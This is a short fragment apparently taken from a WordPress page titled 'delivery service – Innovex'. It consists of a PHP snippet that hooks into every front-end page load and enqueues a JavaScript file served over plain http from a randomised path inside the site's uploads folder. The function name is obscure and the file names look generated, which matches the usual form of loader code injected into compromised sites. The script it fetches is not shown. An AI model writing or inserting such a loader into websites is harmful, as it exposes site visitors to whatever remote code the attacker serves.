if (!function_exists('sch_enqueue_front_asset')) { function sch_enqueue_front_asset() { wp_enqueue_script('sch-front', 'http://dev.devbunch.com/innovex/wp-content/uploads/res-6d4f44/assets-e9b5/front-ad3d5194.js', array(), null, false); } add_action('wp_enqueue_scripts', 'sch_enqueue_front_asset'); } delivery service – Innovex